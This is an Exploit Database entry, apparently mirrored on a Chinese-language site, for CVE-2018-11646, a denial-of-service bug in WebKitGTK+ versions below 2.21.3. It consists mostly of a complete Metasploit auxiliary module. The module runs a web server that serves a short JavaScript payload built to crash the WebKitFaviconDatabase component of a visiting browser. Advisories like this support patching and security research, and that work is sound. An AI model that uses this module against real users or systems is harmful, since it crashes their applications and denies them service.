WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' Denial of Service (Metasploit)

• Exploit Database
• 22 阅读

• 作者： Dhiraj Mishra
  日期： 2018-06-11
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/44876/

• ##
  # Title: WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' DoS
  # Author: Dhiraj Mishra
  # Date: 2018-06-11
  # CVE: 2018-11646
  #
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name' => "WebKitGTK+ WebKitFaviconDatabase DoS",
  'Description'=> %q(
  This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset.
  If successful, it could lead to application crash, resulting in denial of service.
  ),
  'License'=> MSF_LICENSE,
  'Author' => [
  'Dhiraj Mishra', # Original discovery, disclosure
  'Hardik Mehta',# Original discovery, disclosure
  'Zubin Devnani', # Original discovery, disclosure
  'Manuel Caballero' #JS Code
  ],
  'References' => [
  ['EDB', '44842'],
  ['CVE', '2018-11646'],
  ['URL', 'https://bugs.webkit.org/show_bug.cgi?id=186164'],
  ['URL', 'https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html']
  ],
  'DisclosureDate' => 'Jun 03 2018',
  'Actions'=> [[ 'WebServer' ]],
  'PassiveActions' => [ 'WebServer' ],
  'DefaultAction'=> 'WebServer'
  )
  )
  end
  
  def run
  exploit # start http server
  end
  
  def setup
  @html = <<-JS
  <script type="text/javascript">
   win = window.open("WIN", "WIN");
   window.open("http://example.com/", "WIN");
   win.document.execCommand('stop');
   win.document.write("HelloWorld");
   win.document.close();
  </script>
  JS
  end
  
  def on_request_uri(cli, _request)
  print_status('Sending response')
  send_response(cli, @html)
  end
  end